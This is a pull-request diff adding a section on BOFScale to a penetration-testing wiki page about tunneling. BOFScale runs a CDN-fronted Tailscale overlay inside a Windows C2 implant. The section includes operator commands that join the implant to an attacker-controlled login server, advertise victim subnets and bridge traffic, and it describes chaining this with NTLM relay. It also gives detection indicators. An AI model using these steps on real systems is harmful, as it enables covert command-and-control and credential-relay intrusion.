Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
42 changes: 42 additions & 0 deletions src/generic-hacking/tunneling-and-port-forwarding.md
Original file line number Diff line number Diff line change
Expand Up @@ -222,6 +222,46 @@ rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]
```

## BOFScale - CDN-fronted in-process tailnet

[BOFScale](https://github.com/NetSPI/BOFscale) runs a modified Tailscale overlay inside a Windows C2 implant without installing a TUN driver or service. Its three components are an asynchronous CGo `c-shared` `tailscaled` BOF-PE, a small C++ BOF-PE that speaks the local API, and an asynchronous `socksportfwd` TCP-to-SOCKS5 bridge.<sup>[[52]](#references)[[53]](#references)</sup>

### CDN-compatible TS2021 and DERP

Tailscale normally uses proprietary HTTP upgrades for the Noise-based TS2021 control channel and DERP relay. BOFScale keeps those byte streams but carries them in RFC 6455 WebSockets, using `Sec-WebSocket-Protocol: ts2021` or `derp`, so an operator-controlled Headscale/DERP origin can sit behind a CDN that only accepts standard WebSocket upgrades. The patched client retries TS2021 over WebSockets after HTTP `500`, retries DERP after HTTP `426`, and makes the DERP WebSocket dialer honor the host proxy configuration; the BOF sets `TS_DEBUG_DERP_WS_CLIENT=1` to skip the known-to-fail first attempt.<sup>[[52]](#references)[[53]](#references)</sup>

The CDN and origin proxy must preserve WebSocket upgrades for `/ts2021` and `/derp`, forward `/key` as ordinary HTTP, and disable internal read/write timeouts because relay sessions can remain open indefinitely. The supplied Headscale configuration enables `verify_clients`, publishes only the operator's embedded DERP map, and leaves `derp.urls` empty to prevent fallback to Tailscale-operated relays.<sup>[[52]](#references)[[53]](#references)</sup>

### In-process daemon and named-pipe control

Unless overridden, the BOF entry point starts `tailscaled` with `-tun=userspace-networking`, `-state mem:`, and `-no-logs-no-support`, then creates a UUID-named pipe. It redirects Go stdout/stderr through an OS pipe to the Beacon output API, so the complete daemon and Go runtime remain resident but state and logs are not written to a Tailscale directory.<sup>[[52]](#references)[[53]](#references)</sup>

The lightweight client reproduces Tailscale's HTTP/1.0 local API over that pipe. It opens the pipe with `SECURITY_SQOS_PRESENT | SECURITY_IMPERSONATION` because the daemon's `safesocket` layer impersonates the pipe client, sends `Tailscale-Cap: 125`, and maps the local API to `up`, `down`, `status`, route advertisement, and shutdown operations.<sup>[[52]](#references)[[53]](#references)</sup>

> [!WARNING]
> Do not unload a manually mapped Go BOF-PE after asking the daemon to shut down: runtime and garbage-collector goroutines can continue executing from memory that the loader unmaps. Run `tailscaled` in a sacrificial process and terminate that process for final cleanup.<sup>[[53]](#references)</sup>

### Bridge host-originated traffic through userspace SOCKS5

Inbound tailnet connections and advertised subnet routes work inside the userspace network stack, but normal processes on the compromised host have no OS route into the overlay. `socksportfwd` therefore listens on a victim-facing TCP port, negotiates SOCKS5 `NO AUTH` with the daemon's `0.0.0.0:1080` listener, issues `CONNECT` for a tailnet destination, and relays both directions asynchronously. When the target is a MagicDNS name it uses `ATYP_DOMAIN`, making `tailscaled` resolve the name without exposing it to the Windows resolver.<sup>[[52]](#references)[[53]](#references)</sup>

A minimal operator flow is shown below; both the operator node and implant must use the patched binaries because stock Tailscale cannot traverse this CDN design.<sup>[[52]](#references)[[53]](#references)</sup>

```bash
HEADSCALE_HOSTNAME=<cdn-hostname> docker compose up
# Start tailscaled as an asynchronous BOF and copy its printed pipe name
tailscaled
tailscale --socket '\\.\pipe\<uuid>' up --auth-key <key> --login-server https://<cdn-hostname>
tailscale --socket '\\.\pipe\<uuid>' set --advertise-routes <victim-cidr>
socksportfwd --t <operator-magicdns-name> --tp 8888 --p 8888
```

The local forward can separate the apparent authentication listener from the relay tool: coerce a machine to authenticate to the compromised host's bound port, forward it through the tailnet to `ntlmrelayx`, and relay onward to AD CS, LDAP, HTTP, SMB, or another compatible target. See [WebDAV NTLM coercion](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#webdav-auth-coercion--credential-validation-via-davclntdlldavsetcookie) and [ESC8 relay to AD CS](../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints--esc8) for the vulnerability-specific stages; BOFScale is only the transport.<sup>[[53]](#references)</sup>

### Detection

Hunt for the combination rather than a single weak indicator: a Go runtime in a process that is not normally Go-based, a UUID pipe with permissive SDDL `D:(A;;GA;;;WD)`, an unexpected `0.0.0.0:1080` SOCKS listener, and long-lived TLS WebSockets to CDN addresses. With TLS inspection, flag `Sec-WebSocket-Protocol: derp` or `ts2021` when the owning process is not an authorized `tailscaled` service. The repository's `bofscale.yar` rules provide memory signatures for all three BOF-PE components.<sup>[[52]](#references)[[53]](#references)</sup>

## reGeorg

[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
Expand Down Expand Up @@ -937,5 +977,7 @@ The same report details the defaults, wildcard listeners, packet decryption, rel
- [49] [frp XTCP](https://gofrp.org/en/docs/features/xtcp/)
- [50] [frp SSH Tunnel Gateway](https://gofrp.org/en/docs/features/common/ssh/)
- [51] [QEMU networking documentation](https://www.qemu.org/docs/master/system/devices/net.html)
- [52] [NetSPI BOFScale source repository](https://github.com/NetSPI/BOFscale)
- [53] [BOFScale: A CDN-Fronted Tailnet from a BOF-PE](https://www.netspi.com/blog/technical-blog/red-teaming/bofscale-a-cdn-fronted-tailnet-from-a-bof-pe/)

{{#include ../banners/hacktricks-training.md}}